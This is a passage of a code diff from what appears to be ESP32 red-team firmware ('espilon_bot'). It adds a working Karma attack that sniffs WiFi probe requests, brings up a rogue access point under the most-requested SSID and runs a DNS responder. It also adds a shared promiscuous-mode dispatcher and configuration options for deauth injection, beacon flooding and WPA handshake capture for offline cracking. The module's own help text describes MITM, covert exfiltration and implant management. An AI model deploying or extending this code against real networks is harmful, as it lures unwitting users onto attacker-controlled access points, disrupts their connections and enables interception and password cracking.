|
||||
ESP_LOGE(TAG, "AP config failed: %s", esp_err_to_name(ret));
|
||||
return ret;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Rogue AP started: SSID='%s'", ssid);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static void stop_rogue_ap(void)
|
||||
{
|
||||
esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
ESP_LOGI(TAG, "Rogue AP stopped");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Main karma task
|
||||
* ============================================================ */
|
||||
|
||||
static void karma_task(void *arg)
|
||||
{
|
||||
uint32_t duration_s = (uint32_t)(uintptr_t)arg;
|
||||
|
||||
/* Generate a random locally-administered BSSID */
|
||||
esp_fill_random(s_bssid, 6);
|
||||
s_bssid[0] &= 0xFE; /* unicast */
|
||||
s_bssid[0] |= 0x02; /* locally administered */
|
||||
|
||||
/* Reset client list */
|
||||
s_client_count = 0;
|
||||
memset(s_clients, 0, sizeof(s_clients));
|
||||
s_top_ssid[0] = '\0';
|
||||
|
||||
/* Register with promiscuous dispatcher */
|
||||
esp_err_t ret = rt_promisc_register(&s_karma_handler);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promisc register failed");
|
||||
rt_attack_stop();
|
||||
atomic_store(&s_active, false);
|
||||
s_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
rt_promisc_enable();
|
||||
|
||||
ESP_LOGI(TAG, "Karma listening (BSSID=%02X:%02X:%02X:%02X:%02X:%02X, duration=%s)",
|
||||
s_bssid[0], s_bssid[1], s_bssid[2],
|
||||
s_bssid[3], s_bssid[4], s_bssid[5],
|
||||
duration_s ? "timed" : "continuous");
|
||||
|
||||
/* Phase 1: Listen for probes (5s or until we have clients) */
|
||||
int listen_ms = 5000;
|
||||
int elapsed = 0;
|
||||
while (atomic_load(&s_active) && elapsed < listen_ms) {
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
elapsed += 500;
|
||||
}
|
||||
|
||||
if (!atomic_load(&s_active)) goto cleanup;
|
||||
|
||||
/* Phase 2: Start rogue AP with the most-requested SSID */
|
||||
if (s_client_count > 0) {
|
||||
find_top_ssid();
|
||||
if (s_top_ssid[0]) {
|
||||
start_rogue_ap(s_top_ssid);
|
||||
|
||||
/* Start DNS responder */
|
||||
xTaskCreatePinnedToCore(dns_responder_task, "karma_dns",
|
||||
3072, NULL, 5, &s_dns_task, 1);
|
||||
}
|
||||
} else {
|
||||
ESP_LOGI(TAG, "No probes captured, continuing to listen...");
|
||||
}
|
||||
|
||||
/* Phase 3: Keep running — continue responding to probes */
|
||||
if (duration_s > 0) {
|
||||
uint32_t remaining_ms = (duration_s * 1000) - elapsed;
|
||||
uint32_t waited = 0;
|
||||
while (atomic_load(&s_active) && waited < remaining_ms) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
waited += 1000;
|
||||
|
||||
/* Periodically update the AP SSID if a new top SSID emerges */
|
||||
if (waited % 10000 == 0 && s_client_count > 0) {
|
||||
char old[33];
|
||||
strncpy(old, s_top_ssid, 32);
|
||||
old[32] = '\0';
|
||||
find_top_ssid();
|
||||
if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
|
||||
start_rogue_ap(s_top_ssid);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
/* Continuous mode */
|
||||
while (atomic_load(&s_active)) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
|
||||
/* Update AP SSID every 10s if needed */
|
||||
static uint32_t ticker = 0;
|
||||
ticker++;
|
||||
if (ticker % 10 == 0 && s_client_count > 0) {
|
||||
char old[33];
|
||||
strncpy(old, s_top_ssid, 32);
|
||||
old[32] = '\0';
|
||||
find_top_ssid();
|
||||
if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
|
||||
start_rogue_ap(s_top_ssid);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cleanup:
|
||||
/* Stop DNS responder */
|
||||
if (s_dns_task) {
|
||||
/* dns task checks s_active and will exit */
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
}
|
||||
|
||||
rt_promisc_unregister(&s_karma_handler);
|
||||
rt_promisc_disable();
|
||||
stop_rogue_ap();
|
||||
rt_attack_stop();
|
||||
|
||||
ESP_LOGI(TAG, "Karma stopped: %d clients tracked", s_client_count);
|
||||
|
||||
atomic_store(&s_active, false);
|
||||
s_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
void rt_karma_start(uint32_t duration_s)
|
||||
{
|
||||
if (atomic_load(&s_active)) {
|
||||
ESP_LOGW(TAG, "Karma already running");
|
||||
return;
|
||||
}
|
||||
|
||||
if (rt_attack_start(RT_ATTACK_KARMA) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
|
||||
rt_attack_name());
|
||||
return;
|
||||
}
|
||||
|
||||
atomic_store(&s_active, true);
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
karma_task,
|
||||
"rt_karma",
|
||||
6144,
|
||||
(void *)(uintptr_t)duration_s,
|
||||
6,
|
||||
&s_task,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
}
|
||||
|
||||
void rt_karma_stop(void)
|
||||
{
|
||||
atomic_store(&s_active, false);
|
||||
}
|
||||
|
||||
bool rt_karma_is_active(void)
|
||||
{
|
||||
return atomic_load(&s_active);
|
||||
}
|
||||
|
||||
int rt_karma_get_clients(rt_karma_client_t *out, int max_count)
|
||||
{
|
||||
int count = s_client_count;
|
||||
if (count > max_count) count = max_count;
|
||||
memcpy(out, s_clients, count * sizeof(rt_karma_client_t));
|
||||
return count;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_KARMA */
|
||||
43
espilon_bot/components/mod_redteam/rt_karma.h
Normal file
43
espilon_bot/components/mod_redteam/rt_karma.h
Normal file
@ -0,0 +1,43 @@
|
||||
/*
|
||||
* rt_karma.h
|
||||
* Karma attack — respond to WiFi probe requests with matching SSIDs
|
||||
* to lure clients into connecting to our rogue AP.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define RT_KARMA_MAX_CLIENTS 32
|
||||
|
||||
/* Info about a client that sent a probe request */
|
||||
typedef struct {
|
||||
uint8_t mac[6];
|
||||
char ssid[33]; /* SSID they were looking for */
|
||||
int64_t first_seen_ms;
|
||||
int64_t last_seen_ms;
|
||||
bool connected; /* true if they connected to our AP */
|
||||
} rt_karma_client_t;
|
||||
|
||||
/*
|
||||
* Start karma listener.
|
||||
* duration_s – 0 = run until rt_karma_stop(), >0 = auto-stop after N seconds
|
||||
*/
|
||||
void rt_karma_start(uint32_t duration_s);
|
||||
|
||||
/* Stop karma and tear down the rogue AP. */
|
||||
void rt_karma_stop(void);
|
||||
|
||||
/* True if karma is running. */
|
||||
bool rt_karma_is_active(void);
|
||||
|
||||
/* Get list of clients that sent probe requests. Returns count. */
|
||||
int rt_karma_get_clients(rt_karma_client_t *out, int max_count);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
201
espilon_bot/components/mod_redteam/rt_promisc.c
Normal file
201
espilon_bot/components/mod_redteam/rt_promisc.c
Normal file
@ -0,0 +1,201 @@
|
||||
/*
|
||||
* rt_promisc.c
|
||||
* Shared promiscuous mode dispatcher.
|
||||
*
|
||||
* Multiplexes up to RT_PROMISC_MAX_HANDLERS consumers behind a single
|
||||
* IRAM callback registered with esp_wifi_set_promiscuous_rx_cb().
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "rt_promisc.h"
|
||||
|
||||
#define TAG "RT_PROMISC"
|
||||
|
||||
/* ============================================================
|
||||
* Internal state
|
||||
* ============================================================ */
|
||||
|
||||
static rt_promisc_handler_t s_handlers[RT_PROMISC_MAX_HANDLERS];
|
||||
static int s_handler_count = 0;
|
||||
static SemaphoreHandle_t s_mutex = NULL;
|
||||
static atomic_bool s_enabled = ATOMIC_VAR_INIT(false);
|
||||
static bool s_inited = false;
|
||||
|
||||
/* ============================================================
|
||||
* IRAM dispatcher — called from WiFi driver context
|
||||
* ============================================================ */
|
||||
|
||||
static void IRAM_ATTR promisc_dispatcher(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
/*
|
||||
* We iterate without taking the mutex because:
|
||||
* - This runs in IRAM from the WiFi RX ISR context
|
||||
* - s_handler_count is only modified while promiscuous is disabled
|
||||
* - Handlers are only added/removed via register/unregister which
|
||||
* require the caller to disable promiscuous first (or accept races
|
||||
* on the count — benign: worst case a handler is skipped once).
|
||||
*/
|
||||
int n = s_handler_count;
|
||||
for (int i = 0; i < n; i++) {
|
||||
if (s_handlers[i].cb) {
|
||||
s_handlers[i].cb(buf, type);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
void rt_promisc_init(void)
|
||||
{
|
||||
if (s_inited) return;
|
||||
|
||||
s_mutex = xSemaphoreCreateMutex();
|
||||
configASSERT(s_mutex);
|
||||
|
||||
memset(s_handlers, 0, sizeof(s_handlers));
|
||||
s_handler_count = 0;
|
||||
s_inited = true;
|
||||
|
||||
ESP_LOGI(TAG, "Promiscuous dispatcher initialised (max %d handlers)",
|
||||
RT_PROMISC_MAX_HANDLERS);
|
||||
}
|
||||
|
||||
esp_err_t rt_promisc_register(const rt_promisc_handler_t *h)
|
||||
{
|
||||
if (!h || !h->cb) return ESP_ERR_INVALID_ARG;
|
||||
if (!s_inited) rt_promisc_init();
|
||||
|
||||
xSemaphoreTake(s_mutex, portMAX_DELAY);
|
||||
|
||||
/* Check for duplicates */
|
||||
for (int i = 0; i < s_handler_count; i++) {
|
||||
if (s_handlers[i].cb == h->cb) {
|
||||
xSemaphoreGive(s_mutex);
|
||||
ESP_LOGW(TAG, "Handler '%s' already registered", h->tag ? h->tag : "?");
|
||||
return ESP_OK;
|
||||
}
|
||||
}
|
||||
|
||||
if (s_handler_count >= RT_PROMISC_MAX_HANDLERS) {
|
||||
xSemaphoreGive(s_mutex);
|
||||
ESP_LOGE(TAG, "Handler table full (%d/%d)", s_handler_count,
|
||||
RT_PROMISC_MAX_HANDLERS);
|
||||
return ESP_ERR_NO_MEM;
|
||||
}
|
||||
|
||||
s_handlers[s_handler_count] = *h;
|
||||
s_handler_count++;
|
||||
|
||||
ESP_LOGI(TAG, "Registered handler '%s' (filter=0x%04"PRIx32") [%d/%d]",
|
||||
h->tag ? h->tag : "?", h->filter_mask,
|
||||
s_handler_count, RT_PROMISC_MAX_HANDLERS);
|
||||
|
||||
xSemaphoreGive(s_mutex);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
esp_err_t rt_promisc_unregister(const rt_promisc_handler_t *h)
|
||||
{
|
||||
if (!h || !h->cb) return ESP_ERR_INVALID_ARG;
|
||||
if (!s_inited) return ESP_ERR_INVALID_STATE;
|
||||
|
||||
xSemaphoreTake(s_mutex, portMAX_DELAY);
|
||||
|
||||
for (int i = 0; i < s_handler_count; i++) {
|
||||
if (s_handlers[i].cb == h->cb) {
|
||||
/* Shift remaining entries down */
|
||||
for (int j = i; j < s_handler_count - 1; j++) {
|
||||
s_handlers[j] = s_handlers[j + 1];
|
||||
}
|
||||
s_handler_count--;
|
||||
memset(&s_handlers[s_handler_count], 0, sizeof(rt_promisc_handler_t));
|
||||
|
||||
ESP_LOGI(TAG, "Unregistered handler '%s' [%d/%d]",
|
||||
h->tag ? h->tag : "?",
|
||||
s_handler_count, RT_PROMISC_MAX_HANDLERS);
|
||||
|
||||
xSemaphoreGive(s_mutex);
|
||||
return ESP_OK;
|
||||
}
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_mutex);
|
||||
ESP_LOGW(TAG, "Handler '%s' not found", h->tag ? h->tag : "?");
|
||||
return ESP_ERR_NOT_FOUND;
|
||||
}
|
||||
|
||||
esp_err_t rt_promisc_enable(void)
|
||||
{
|
||||
if (!s_inited) rt_promisc_init();
|
||||
|
||||
xSemaphoreTake(s_mutex, portMAX_DELAY);
|
||||
|
||||
/* Combine filters from all registered handlers */
|
||||
uint32_t combined = 0;
|
||||
for (int i = 0; i < s_handler_count; i++) {
|
||||
combined |= s_handlers[i].filter_mask;
|
||||
}
|
||||
|
||||
/* If no handlers registered but caller still wants promisc (e.g. for TX),
|
||||
* default to management frames */
|
||||
if (combined == 0) {
|
||||
combined = WIFI_PROMIS_FILTER_MASK_MGMT;
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_mutex);
|
||||
|
||||
/* Set the single dispatcher callback */
|
||||
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(promisc_dispatcher);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(ret));
|
||||
return ret;
|
||||
}
|
||||
|
||||
wifi_promiscuous_filter_t filter = { .filter_mask = combined };
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ret = esp_wifi_set_promiscuous(true);
|
||||
if (ret == ESP_OK) {
|
||||
atomic_store(&s_enabled, true);
|
||||
ESP_LOGI(TAG, "Promiscuous enabled (filter=0x%04"PRIx32")", combined);
|
||||
} else {
|
||||
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(ret));
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
esp_err_t rt_promisc_disable(void)
|
||||
{
|
||||
esp_err_t ret = esp_wifi_set_promiscuous(false);
|
||||
if (ret == ESP_OK) {
|
||||
atomic_store(&s_enabled, false);
|
||||
ESP_LOGI(TAG, "Promiscuous disabled");
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
esp_err_t rt_promisc_set_channel(uint8_t channel)
|
||||
{
|
||||
if (channel < 1 || channel > 14) return ESP_ERR_INVALID_ARG;
|
||||
return esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
bool rt_promisc_is_enabled(void)
|
||||
{
|
||||
return atomic_load(&s_enabled);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
53
espilon_bot/components/mod_redteam/rt_promisc.h
Normal file
53
espilon_bot/components/mod_redteam/rt_promisc.h
Normal file
@ -0,0 +1,53 @@
|
||||
/*
|
||||
* rt_promisc.h
|
||||
* Shared promiscuous mode dispatcher.
|
||||
*
|
||||
* ESP32 supports only one promiscuous RX callback at a time. This module
|
||||
* multiplexes multiple consumers (stealth scan, karma, capture, ...) behind
|
||||
* a single IRAM callback and manages channel / enable state.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include "esp_err.h"
|
||||
#include "esp_wifi_types.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define RT_PROMISC_MAX_HANDLERS 4
|
||||
|
||||
typedef void (*rt_promisc_cb_t)(void *buf, wifi_promiscuous_pkt_type_t type);
|
||||
|
||||
typedef struct {
|
||||
rt_promisc_cb_t cb; /* callback (should be IRAM-safe) */
|
||||
uint32_t filter_mask; /* WIFI_PROMIS_FILTER_MASK_* */
|
||||
const char *tag; /* debug label */
|
||||
} rt_promisc_handler_t;
|
||||
|
||||
/* Initialise the dispatcher (call once, idempotent). */
|
||||
void rt_promisc_init(void);
|
||||
|
||||
/* Register a handler. Returns ESP_ERR_NO_MEM if table is full. */
|
||||
esp_err_t rt_promisc_register(const rt_promisc_handler_t *h);
|
||||
|
||||
/* Unregister a handler (matched by callback pointer). */
|
||||
esp_err_t rt_promisc_unregister(const rt_promisc_handler_t *h);
|
||||
|
||||
/* Enable promiscuous mode with the combined filter of all registered handlers. */
|
||||
esp_err_t rt_promisc_enable(void);
|
||||
|
||||
/* Disable promiscuous mode. */
|
||||
esp_err_t rt_promisc_disable(void);
|
||||
|
||||
/* Switch to a specific WiFi channel (1-14). */
|
||||
esp_err_t rt_promisc_set_channel(uint8_t channel);
|
||||
|
||||
/* True if promiscuous mode is currently active. */
|
||||
bool rt_promisc_is_enabled(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@ -14,6 +14,8 @@
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "rt_promisc.h"
|
||||
|
||||
static const char *TAG = "RT_STEALTH";
|
||||
|
||||
/* ============================================================
|
||||
@ -199,30 +201,32 @@ static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t typ
|
||||
s_scan_count++;
|
||||
}
|
||||
|
||||
/* Handler descriptor for the promiscuous dispatcher */
|
||||
static const rt_promisc_handler_t s_scan_handler = {
|
||||
.cb = passive_scan_cb,
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT,
|
||||
.tag = "stealth_scan",
|
||||
};
|
||||
|
||||
int rt_stealth_passive_scan(int duration_ms)
|
||||
{
|
||||
s_scan_count = 0;
|
||||
memset(s_scan_results, 0, sizeof(s_scan_results));
|
||||
|
||||
/* Enable promiscuous mode */
|
||||
/* Register our callback with the shared dispatcher */
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
|
||||
esp_err_t ret = rt_promisc_register(&s_scan_handler);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
|
||||
ESP_LOGE(TAG, "Promisc register failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Filter management frames only (beacons, probe responses) */
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ret = esp_wifi_set_promiscuous(true);
|
||||
ret = rt_promisc_enable();
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
|
||||
ESP_LOGE(TAG, "Promisc enable failed: %s", esp_err_to_name(ret));
|
||||
rt_promisc_unregister(&s_scan_handler);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@ -235,14 +239,15 @@ int rt_stealth_passive_scan(int duration_ms)
|
||||
|
||||
while (elapsed < duration_ms) {
|
||||
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
|
||||
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
|
||||
rt_promisc_set_channel(ch);
|
||||
vTaskDelay(pdMS_TO_TICKS(hop_ms));
|
||||
elapsed += hop_ms;
|
||||
}
|
||||
}
|
||||
|
||||
/* Disable promiscuous mode */
|
||||
esp_wifi_set_promiscuous(false);
|
||||
/* Cleanup: unregister and disable if we were the only user */
|
||||
rt_promisc_unregister(&s_scan_handler);
|
||||
rt_promisc_disable();
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
|
||||
return s_scan_count;
|
||||
|
||||
@ -160,6 +160,44 @@ config MODULE_REDTEAM
|
||||
Offensive red team capabilities: WiFi attacks,
|
||||
network MITM, covert exfiltration, implant management.
|
||||
|
||||
menu "Red Team Settings"
|
||||
depends on MODULE_REDTEAM
|
||||
|
||||
config RT_STEALTH
|
||||
bool "Stealth features (MAC random, low TX, passive scan)"
|
||||
default y
|
||||
|
||||
config RT_MESH
|
||||
bool "ESP-NOW mesh relay between agents"
|
||||
default n
|
||||
|
||||
config RT_DEAUTH
|
||||
bool "802.11 deauth frame injection"
|
||||
default y
|
||||
help
|
||||
Send deauthentication frames to disconnect clients from APs.
|
||||
|
||||
config RT_BEACON
|
||||
bool "802.11 beacon flood"
|
||||
default y
|
||||
help
|
||||
Spam fake beacon frames to flood WiFi scanners with bogus SSIDs.
|
||||
|
||||
config RT_KARMA
|
||||
bool "Karma attack (fake AP from probe requests)"
|
||||
default y
|
||||
help
|
||||
Listen for probe requests and respond as the requested AP.
|
||||
Lures clients into connecting to our rogue access point.
|
||||
|
||||
config RT_CAPTURE
|
||||
bool "WPA 4-way handshake capture"
|
||||
default y
|
||||
help
|
||||
Capture WPA/WPA2 EAPOL handshake frames for offline cracking.
|
||||
|
||||
endmenu
|
||||
|
||||
config MODULE_CANBUS
|
||||
bool "CAN Bus Module (MCP2515)"
|
||||
default n
|
||||
|
||||
Loading…
Reference in New Issue
Block a user